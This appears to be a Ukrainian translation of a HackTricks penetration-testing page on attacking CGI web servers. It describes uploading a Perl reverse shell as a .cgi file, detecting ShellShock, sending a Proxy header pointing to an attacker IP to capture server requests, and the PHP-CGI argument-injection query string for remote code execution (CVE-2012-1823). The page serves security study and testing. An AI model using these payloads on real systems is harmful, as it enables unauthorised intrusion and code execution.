CGI
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
CGI-скрипти - це perl-скрипти, тому, якщо ви зламали сервер, який може виконувати .cgi скрипти, ви можете завантажити perl реверс-шелл (/usr/share/webshells/perl/perl-reverse-shell.pl
), змінити розширення з .pl на .cgi, надати дозволи на виконання (chmod +x
) і отримати доступ до реверс-шеллу з веб-браузера для його виконання. Щоб перевірити наявність CGI вразливостей, рекомендується використовувати nikto -C all
(і всі плагіни)
ShellShock - це вразливість, яка впливає на широко використовувану Bash командну оболонку в Unix-подібних операційних системах. Вона націлена на здатність Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції змінними середовища, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи шкідливий код до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему.
Експлуатуючи цю вразливість, сторінка може викидати помилку.
Ви можете знайти цю вразливість, помітивши, що використовується стара версія Apache і cgi_mod (з папкою cgi) або використовуючи nikto.
Більшість тестів базуються на ехо чогось і очікують, що ця строка буде повернена у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, шукайте всі cgi-сторінки та тестуйте їх.
Nmap
CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати заголовок, що містить: "Proxy: <IP_attacker>:<PORT>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.
В основному, якщо cgi активний і php "старий" (<5.3.12 / < 5.4.2) ви можете виконати код. Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів (особливо без надсилання символу "="). Тоді, щоб протестувати цю вразливість, ви можете отримати доступ, наприклад, до /index.php?-s
(зверніть увагу на -s
) і код програми з'явиться у відповіді.
Тоді, щоб отримати RCE, ви можете надіслати цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input
і PHP код для виконання в тілі запиту. Приклад:
Більше інформації про вразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)